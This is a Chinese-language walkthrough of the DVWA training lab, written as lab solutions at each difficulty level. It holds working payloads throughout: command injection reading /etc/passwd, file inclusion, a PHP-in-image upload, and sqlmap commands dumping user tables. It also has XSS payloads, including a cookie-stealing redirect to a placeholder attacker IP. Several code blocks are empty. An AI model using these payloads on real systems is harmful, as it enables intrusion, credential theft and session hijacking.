DVWA通关手册
Brute Force
登录界面
Low
1 |
|
-
使用Burp Suit抓包

-
Send to intruder

-
选择密码位置

-
上字典

-
根据返回长度判断正确密码

Medium
1 |
|
- 加入了参数的判断,防止部分SQL注入,加入sleep(2)
- 没有防爆破机制,操作同Low等级
High
1 |
|
-
加入Anti-CSRF token机制,验证本次请求中是否包含上一个回应中的token
-
抓包分析

-
Send to intruder,选择position,两个爆破位应使用Pitchfork模式

-
option中选择Grep-Extract,添加回应包中的token值

-
第一个位置应用字典,第二个位置应用grep内容,并初始化token值

- Start attack,一样看长度

Command Injection

源码
1 |
|
Low
-
127.0.0.1

-
127.0.0.1&& whoami

-
127.0.0.1&& pwd

-
127.0.0.1&&ls …/…/

-
127.0.0.1&&cat …/…/php.ini

-
127.0.0.1&&cat /etc/passwd

Medium
-
127.0.0.1& ls

-
127.0.0.1& cat /etc/passwd

High
- 127.0.0.1 |ls

Cross Site Request Forgery (CSRF)
1 |
|
Low
- 做个网页
1 |
|
- 包信息
1 | GET /dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change HTTP/1.1 |
Medium
- Low方法失效,对比正常请求的包,发现包中添加了
1 | Referer: http://192.168.23.133/dvwa/vulnerabilities/csrf/ |
解决方案是将csrf网页部署在目标服务器IP作为的路径下。
High
- 需要配合XSS攻击
File Inclusion
1 |
|
Low
- GET方法传参,直接修改网址,查看/etc/passwd
1 | ?page=/etc/passwd |
Medium
-
过滤了 “http://”, “https://”,“…/","…\"
-
可以构造"httphttp://😕/"异形路径
-
同Low等级
High
-
加入黑名单机制,参数只能以file开头
-
构造参数
1 | ?page=file:///etc/passwd |
- 使用file协议访问本地文件
File Upload
1 |
|
Low
- 随便上传,无限制
Medium
- 限制文件类型,但是可以改包上传Content-Type: image/png
1 | POST /dvwa/vulnerabilities/upload/ HTTP/1.1 |
- txt上传成功
1 | ../../hackable/uploads/a.txt succesfully uploaded! |
High
- 加入内容检测和文件类型检测
- 通过在图片中加入一句话木马实现上传
1 | echo "<? phpinfo() ?>" >>th.jpeg |
1 | ../../hackable/uploads/th.jpeg succesfully uploaded! |
- 通过文件包含漏洞解析上传图片
1 | ?page=file:///var/www/html/dvwa//hackable/uploads/th.jpeg |

Insecure CAPTCHA
Low
- 修改包的参数step=2即可。
1 | step=2&password_new=123&password_conf=123&Change=Change |
Medium
- 修改包的参数step=2。
- 查看源码得知新变量passed_captcha,谷歌返回情况,将其POST为true。
1 | step=2&password_new=123&password_conf=123&Change=Change&passed_captcha=true |
High
- 添加如下信息至包中
1 | User-Agent: reCAPTCHA |
SQL Injection
1 |
|
Low
特点:GET
- 1
- 1’//wrong
- 1’ or 1=1–
- 1’ union select 1,database()–
- sqlmap
1 | sqlmap -u "http://0.0.0.0/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=cqve1uen4svrvfnlga3j892sb4" -D dvwa -T users -C user,password --dump |
Medium
特点:POST
- 手工注入
- id=1 union select 1,table_name from information_schema=dvwa–
- HEX加密关键字
- id=1 union select 1,table_name from information_schema=0x64767761–
- sqlmap --data参数
1 | 脱裤 |
High
特点:返回到不同页面
- 手动无差别
- sqlmap --second-url参数
1 | sqlmap -u "http://192.168.23.133/dvwa/vulnerabilities/sqli/session-input.php" --data "id=2&Submit=Submit" --cookie "security=high; PHPSESSID=cqve1uen4svrvfnlga3j892sb4" --second-url "http://192.168.23.133/dvwa/vulnerabilities/sqli/"-D dvwa -T users -C user,password --dump --batch |

SQL Injection (Blind)
Low
- 手注过于麻烦不演示
- sqlmap
1 | sqlmap -u "http://192.168.23.133/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=f48dupm9bkmo862t404a2hmvl1" -D dvwa -T users -C user,password --dump --batch |
Medium
1 | sqlmap -u"http://192.168.23.133/dvwa/vulnerabilities/sqli_blind/#" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=o5v0fkp2cld3nef9aninvap224" -D dvwa -T users -C user,password --dump --batch |
High
1 | sqlmap -u "192.168.23.133/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data "id=2&Submit=Submit" --cookie "id=1; security=high; PHPSESSID=o5v0fkp2cld3nef9aninvap224" --second-url "http://192.168.23.133/dvwa/vulnerabilities/sqli_blind/" -D dvwa -T users -C user,password --dump --batch |
Weak Session IDs
Low
Medium
High
DOM Based Cross Site Scripting (XSS)
1 | //DOM Based Cross Site Scripting (XSS) Vulnerability |
Low
1 | <script>alert(/xss/)</script> |
Medium
1 | </option></select><option><select><img%20src="x"%20onerror="alert(1)"/> |
High
1 | English#<script>alert(/xss/);</script> |
Reflected Cross Site Scripting (XSS)
1 | //Reflected XSS |
Low
1 | <script>alert(/xss/)</script> |

Medium
- 嵌套过滤、大小写转换
1 | <scri<script>pt> |
- url编码
- 通过诱导受害人点击页面隐藏提交name值,访问攻击网站的php脚本获取用户cookie,从而劫持会话。
1 | <script>DOCUMENT.location="http://攻击IP/cookie.php"</script> |
- 将保存的cookie用于登录被攻击账户
1 |
|
High
- script被过滤
- 使用其他标签
1 | <img src="x" onerror="alert(1)"> |


Stored Cross Site Scripting (XSS)
1 | //Stored XSS |
Low
- 与反射形类似
Medium
- 与反射形类似
High
- 与反射形类似
